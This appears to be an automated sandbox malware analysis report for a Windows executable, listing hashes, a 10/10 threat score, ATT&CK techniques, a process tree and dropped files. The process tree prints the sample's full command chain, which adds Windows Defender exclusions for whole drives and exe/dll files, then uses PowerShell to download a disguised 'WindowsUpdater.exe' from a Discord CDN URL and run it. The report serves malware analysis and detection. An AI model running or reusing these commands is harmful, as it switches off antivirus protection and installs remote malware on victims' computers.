4e6dce334a8b9fbf42231cad17af17b943de13cfbc1f55e9624cda0fbc4986cc

General

Target

ea636008805a0ef9e5147b5bd2d1aa94_JaffaCakes118.exe
Size

55KB
MD5

ea636008805a0ef9e5147b5bd2d1aa94
SHA1

f15c13f68e9dcd774b9fae8850d828510d64f9c1
SHA256

4e6dce334a8b9fbf42231cad17af17b943de13cfbc1f55e9624cda0fbc4986cc
SHA512

6502a4414554730aa19f4987c28c68bd00f9c2e4e2f2f506a81a06291a12bba28abfceb9a40742e87745f69db63ede360b027f4265bba6c627dc0c9ee2b76801
SSDEEP

1536:hxV96b1u6/f4h5TLoPs2Ldd5l6shjOUh:h6Foh5TLoPs2Lb6sZT

Score

10^/10

execution

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

exe.dropper

https://cdn.discordapp.com/attachments/878081249296674846/892398462266671104/WindowsUpdater.exe

Signatures

Blocklisted process makes network request 1 IoCs

flow	pid	Process
15	2168	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 4 IoCs

Start PowerShell.

execution

PowerShell

T1059.001

pid	Process
2912	powershell.exe
4908	powershell.exe
3664	powershell.exe
2168	powershell.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-656926755-4116854191-210765258-1000\Control Panel\International\Geo\Nation	ea636008805a0ef9e5147b5bd2d1aa94_JaffaCakes118.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious behavior: EnumeratesProcesses 8 IoCs

pid	Process
4908	powershell.exe
4908	powershell.exe
3664	powershell.exe
3664	powershell.exe
2168	powershell.exe
2168	powershell.exe
2912	powershell.exe
2912	powershell.exe

Suspicious use of AdjustPrivilegeToken 4 IoCs

description	pid	Process
Token: SeDebugPrivilege	4908	powershell.exe
Token: SeDebugPrivilege	3664	powershell.exe
Token: SeDebugPrivilege	2168	powershell.exe
Token: SeDebugPrivilege	2912	powershell.exe

Suspicious use of WriteProcessMemory 10 IoCs

description	pid	Process	procid_target
PID 4988 wrote to memory of 4668	4988	ea636008805a0ef9e5147b5bd2d1aa94_JaffaCakes118.exe	83
PID 4988 wrote to memory of 4668	4988	ea636008805a0ef9e5147b5bd2d1aa94_JaffaCakes118.exe	83
PID 4668 wrote to memory of 4908	4668	cmd.exe	85
PID 4668 wrote to memory of 4908	4668	cmd.exe	85
PID 4668 wrote to memory of 3664	4668	cmd.exe	86
PID 4668 wrote to memory of 3664	4668	cmd.exe	86
PID 4668 wrote to memory of 2168	4668	cmd.exe	87
PID 4668 wrote to memory of 2168	4668	cmd.exe	87
PID 4668 wrote to memory of 2912	4668	cmd.exe	88
PID 4668 wrote to memory of 2912	4668	cmd.exe	88

C:\Users\Admin\AppData\Local\Temp\ea636008805a0ef9e5147b5bd2d1aa94_JaffaCakes118.exe
"C:\Users\Admin\AppData\Local\Temp\ea636008805a0ef9e5147b5bd2d1aa94_JaffaCakes118.exe"
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:4988
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c powershell -Command Add-MpPreference -ExclusionPath @($env:UserProfile,$env:AppData,$env:Temp,$env:SystemRoot,$env:HomeDrive,$env:SystemDrive) -Force & powershell -Command Add-MpPreference -ExclusionExtension @('exe','dll') -Force & powershell (New-Object System.Net.WebClient).DownloadFile('https://cdn.discordapp.com/attachments/878081249296674846/892398462266671104/WindowsUpdater.exe', (Join-Path -Path $env:AppData -ChildPath 'WindowsUpdater.exe')) & powershell Start-Process -FilePath (Join-Path -Path $env:AppData -ChildPath 'WindowsUpdater.exe') & exit
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4668
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -Command Add-MpPreference -ExclusionPath @($env:UserProfile,$env:AppData,$env:Temp,$env:SystemRoot,$env:HomeDrive,$env:SystemDrive) -Force
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:4908
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -Command Add-MpPreference -ExclusionExtension @('exe','dll') -Force
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:3664
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell (New-Object System.Net.WebClient).DownloadFile('https://cdn.discordapp.com/attachments/878081249296674846/892398462266671104/WindowsUpdater.exe', (Join-Path -Path $env:AppData -ChildPath 'WindowsUpdater.exe'))
    3⤵
    - Blocklisted process makes network request
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:2168
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell Start-Process -FilePath (Join-Path -Path $env:AppData -ChildPath 'WindowsUpdater.exe')
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:2912

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

1

T1059

PowerShell

1

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

1

T1012

System Information Discovery

2

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

Filesize
2KB

MD5
d85ba6ff808d9e5444a4b369f5bc2730

SHA1
31aa9d96590fff6981b315e0b391b575e4c0804a

SHA256
84739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f

SHA512
8c414eb55b45212af385accc16d9d562adba2123583ce70d22b91161fe878683845512a78f04dedd4ea98ed9b174dbfa98cf696370598ad8e6fbd1e714f1f249

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
944B

MD5
77d622bb1a5b250869a3238b9bc1402b

SHA1
d47f4003c2554b9dfc4c16f22460b331886b191b

SHA256
f97ff12a8abf4bf88bb6497bd2ac2da12628c8847a8ba5a9026bdbb76507cdfb

SHA512
d6789b5499f23c9035375a102271e17a8a82e57d6f5312fa24242e08a83efdeb8becb7622f55c4cf1b89c7d864b445df11f4d994cf7e2f87a900535bcca12fd9

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
944B

MD5
6f3b96b24f06e2d37a46e43e8b784f56

SHA1
7be6702c5867f359e913eeeecdd5b76698589295

SHA256
8e386afeed28e1d282d9a0294dd2e9402dcb807f7c77aca8426314c20057e720

SHA512
d760999531a77a9adf2b4dc019ce3b43ac3a8cad825398b3a09818afe8deaa177d37219a26dd8a432c00c9cff7858efc43cae2375edc996bb0136c92c39c9dfb

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
1KB

MD5
32ae2eebd3c393d19c22768ed82daede

SHA1
1ac05bae3ce5962427a95ad99d1cf6fdba6b2c55

SHA256
8fa801cf129ddce7cdd9b149ed1be04a4c7be45bd4a6d290659b31c70b81e087

SHA512
66c5b9e9139de40ce621118432304fdec772174022fc8f501a2ccff33c4823079973f723591bf9768b428c37da4c5c813e05e7fc2d3341629dc76305febd4193

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_ksm5mthl.uwg.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/4908-20-0x00007FF9A8980000-0x00007FF9A9441000-memory.dmp

Filesize
10.8MB

Download
memory/4908-12-0x00007FF9A8980000-0x00007FF9A9441000-memory.dmp

Filesize
10.8MB

Download
memory/4908-11-0x0000026A7F4F0000-0x0000026A7F512000-memory.dmp

Filesize
136KB

Download
memory/4908-17-0x00007FF9A8980000-0x00007FF9A9441000-memory.dmp

Filesize
10.8MB

Download
memory/4908-5-0x00007FF9A8980000-0x00007FF9A9441000-memory.dmp

Filesize
10.8MB

Download
memory/4988-0-0x00007FF9A8983000-0x00007FF9A8985000-memory.dmp

Filesize
8KB

Download
memory/4988-4-0x00007FF9A8980000-0x00007FF9A9441000-memory.dmp

Filesize
10.8MB

Download
memory/4988-3-0x00007FF9A8980000-0x00007FF9A9441000-memory.dmp

Filesize
10.8MB

Download
memory/4988-1-0x0000000000E10000-0x0000000000E24000-memory.dmp

Filesize
80KB

Download

Analysis

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